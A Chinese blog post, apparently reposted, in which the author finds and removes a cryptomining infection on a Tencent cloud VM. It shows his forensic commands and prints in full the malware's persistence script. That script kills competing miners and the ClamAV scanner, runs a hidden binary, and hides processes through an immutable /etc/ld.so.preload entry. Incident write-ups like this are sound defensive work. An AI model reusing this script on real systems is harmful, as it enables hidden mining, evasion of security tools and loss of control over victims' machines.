当前位置: 代码迷 >> 综合 >> 查杀我这辈子有幸遇到的第一个Linux病毒 (by quqi99)
  详细解决方案

查杀我这辈子有幸遇到的第一个Linux病毒 (by quqi99)

热度:43   发布时间:2023-12-13 08:53:00.0

作者:张华 发表于:2021-08-17
版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本版权声明

问题

本人有一个腾讯虚机,昨天忽然ssh不上去了,控制台重启之后就又上去了,所以也就过去了。
可是今天又遇到了同样情况,不能总重启啊,得好好研究一下怎么回事了。

关闭云镜

使用top命令看到有个叫什么YunJing的进程,搜索一番后通过下列命令删除。

sudo /usr/local/qcloud/stargate/admin/uninstall.sh
sudo /usr/local/qcloud/YunJing/uninst.sh
sudo /usr/local/qcloud/monitor/barad/admin/uninstall.sh

初遇挖矿木马
头一次听说过云镜这么个词,于是习惯性地搜索一下何为云镜,原来是腾讯的一款入侵检测工具。进腾讯云管理控制台一看,显示有/etc/.sh,/usr/bin/.funzip,/usr/local/libprocesshider.so三个文件来自病毒Linux.Risk.Bitcoinminer.Tcly. 好吧,太幸运了,这辈子第一次在我的生活中遇到Linux病毒。
ps一下,看到一个名为.sh的进程,看这名字就不是啥正经进程。注意:正常使用top命令是看不到这个进程的。

root@VM-0-6-ubuntu:~# ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head -n4
root      9501 92.5  0.1 303712  3184 ?        Ssl  12:24   3:44 ./.sh -c
root      2253  0.2  0.0   6732  1804 ?        S    11:57   0:04 /bin/sh ./.sh
root         7  0.1  0.0      0     0 ?        S    11:54   0:02 [ksoftirqd/0]
root     15094  0.1  0.2  42828  3948 ?        Ss   12:28   0:00 /lib/systemd/systemd-udevd

netstat一下,又看到一个名为’-'的非正经进程。45.77.67.13来自德国应该是一个挖矿服务器,同时也能找到92.118.189.207这个从德国IP和来自江门的120.198.71.132通过密码入侵服务器。

ubuntu@VM-0-6-ubuntu:~$ sudo netstat -anpt |grep ' - '
tcp        0      0 172.17.0.6:51804        45.77.67.13:80          ESTABLISHED -

find和grep一下.

root@VM-0-6-ubuntu:~# find / -name .sh 
/root/.sftp/.sh
/etc/.shroot@VM-0-6-ubuntu:~# grep -r 'libprocesshider' /etc/
/etc/.sftp/.sh:echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
/etc/ld.so.preload:/usr/local/lib/libprocesshider.so
/etc/ld.so.preloaz~:/usr/local/lib/libprocesshider.so
/etc/ld.so.preload~:/usr/local/lib/libprocesshider.soubuntu@VM-0-6-ubuntu:~$ cat /etc/ld.so.preload 
/usr/local/lib/libprocesshider.so

删除病毒

ld.so.preload文件有ia属性,直接删除会失败。

ubuntu@VM-0-6-ubuntu:~$ sudo lsattr /etc/ld.so.preload
----ia--------e--- /etc/ld.so.preload

用“chattr -ia /etc/ld.so.preload”能去掉ia属性,但过一会马上ia属性又回来了。通过下列命令能删除成功。

chattr -ia /etc/ld.so.preload && echo "" > /etc/ld.so.preload

但马上这个文件又回来了。原来还有下面的机关:

root@VM-0-6-ubuntu:~# grep -r 'libprocesshider' /etc/
/etc/.sftp/.sh:echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
/etc/ld.so.preload:/usr/local/lib/libprocesshider.so
/etc/ld.so.preloaz~:/usr/local/lib/libprocesshider.so
/etc/ld.so.preload~:/usr/local/lib/libprocesshider.so

那就先删除所有的.sh文件吧

find / -name '.funzip'  |xargs -i rm -rf {}
find / -name .sh |xargs -i rm -rf {}

然后删除:

rm -rf /etc/ld.so.preload~
rm -rf /etc/ld.so.preloaz~
chattr -ia /etc/ld.so.preload && echo "" > /etc/ld.so.preload

还是不行,那这样吧,将ld.so.preload加+i属性。

chattr -ia /etc/ld.so.preload && echo "" > /etc/ld.so.preload && chattr +i /etc/ld.so.preload

还有活着的.sh进程:

killall .sh

/root/.sftp/.sh删除了,又回来了,阴魂不散啊。

root@VM-0-6-ubuntu:~# find / -name '.sh'
/root/.sftp/.shroot@VM-0-6-ubuntu:~# cat /root/.sftp/.sh 
#!/bin/sh
while test 1 = 1
do
sleep 6
killall r
killall trace
pkill -f minerd
killall minerd
pkill -f xm64
killall xm64
pkill -f sysdm
killall sysdm
pkill -f syst3md
killall syst3md
pkill -f xrig
killall xrig
pkill -f busybox
killall busybox
pkill -f joseph
killall joseph
pkill -f osama
killall osama
pkill -f xm64
killall xm64
killall daemon
pkill -f obama1
killall obama1
pkill -f kswapd0
killall kswapd0
pkill -f jehgms
killall jehgms
pkill -f tsm
killall tsm
pkill -f rig
killall rig
pkill -f xmr
killall xmr
pkill -f playstation
killall playstation
pkill -f ld-linux-x86-64
killall ld-linux-x86-64
pkill -f ruckusapd
killall ruckusapd
pkill -f run64
killall run64
pkill -f pwnrig
killall pwnrig
pkill -f phpupdate
killall phpupdate
pkill -f sysupdate
killall sysupdate
pkill -f phpguard
killall phpguard
pkill -f sysupdate
killall sysupdate
pkill -f phpupdate
killall phpupdate
pkill -f firstpress
killall firstpress
pkill -f zerocert
killall zerocert
pkill -f masscan
killall masscan
pkill -f -bash
pkill -f spreadQlmnop
killall spreadQlmnop
killall -bash
pkill -f cnrig
killall cnrig
pkill -f xmr
killall xmr
pkill -f crond
killall crond
rm -rf /tmp/.bash/
rm -rf /root/.bash/
rm -rf /root/.cache/
rm -rf /tmp/.cache/
rm -rf /dev/shm/.ssh/
rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txt
rm -rf /var/tmp/.update/
rm -rf /var/tmp/.systemd/
lockr -ai  /usr/sbin/.bash./.bash
lockr -ai  /usr/sbin/.bash./.bash/*
rm -rf /usr/sbin/.bash./.bash/
pkill -f netvhost
killall netvhost
pkill -f kthreadds
killall kthreadds
pkill -f kthreadd
killall kthreadd
pkill -f kdevtmpfsi
killall kdevtmpfsi
pkill -f linuxservice
killall linuxservice
pkill -f rtmonitor
killall rtmonitor
pkill -f dev
killall dev
pkill -f xmrig
killall xmrig
rm -rf /etc/master
pkill -f master
killall master
rm -rf /usr/bin/busybox
pkill -f busybox
killall busybox
rm -rf /bin/sysmd
killall sysmd
pkill -f sysmd
pkill -f xm64
killall xm64
pkill -f sendmail
killall sendmail
rm -rf /tmp/.mx/
rm -rf /dev/shm/.mx/
rm -rf /dev/shm/.ssh/
rm -rf /tmp/up.txt
pkill -f ld-musl-x86_64.
killall ld-musl-x86_64.
rm -rf /usr/bin/xrig
killall xrig
pkill -f xrig
pkill -f kthreadd
killall kthreadd
killall watchdog
pkill -f watchdog
rm -rf /etc/32678
pkill -f 32678
killall 32678
killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xredis
pkill -f xredis
killall Linux2.6
killall .chornyd
pkill -f .chornyd
rm -rf /root/c3pool/
rm -rf /usr/bin/.sshd/
killall xredis
killall Opera
pkill -f Opera
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall bioser
pkill -f bioser
rm -rf /tmp/div
systemctl stop c3pool_miner.service
/usr/lib/mysql/./mysql
echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr +ai /etc/ld.so.preload >/dev/null 2>&1
chattr +ai /etc/ld.so.preload >/dev/null 2>&1
done

再删除一次试试:

rm -rf /root/.sftp/.sh

算了,我也不管/root/.sftp/.sh你从哪里来,也不删除你,清空里,再+i吧。

echo "" > /root/.sftp/.sh && chattr +i /root/.sftp/.sh
echo "" > /root/.sftp/.php && chattr +i /root/.sftp/.php
echo "" > /root/.sftp/.sphp && chattr +i /root/.sftp/.sphp

也删除所有cron job,居然有一个删不掉,看来又是内鬼。

root@VM-0-6-ubuntu:~# rm -rf /var/spool/cron/*
root@VM-0-6-ubuntu:~# rm -rf /etc/cron.d/*
rm: cannot remove '/etc/cron.d/zzh': Operation not permitted
root@VM-0-6-ubuntu:~# cat /etc/cron.d/zzh 
1
root@VM-0-6-ubuntu:~# lsattr /etc/cron.d/zzh 
----ia--------e--- /etc/cron.d/zzh

同样不删除你,给你一个反值:

chattr -ia /etc/cron.d/zzh && echo "0" > /etc/cron.d/zzh && chattr +i /etc/cron.d/zzh

不删除/root/.sftp/.sh还有一个问题,top会看到它使用100%的CPU

killall .sh && chattr -i /root/.sftp/.sh && rm -rf /root/.sftp/.sh

重启机器,再检查,世界清净了。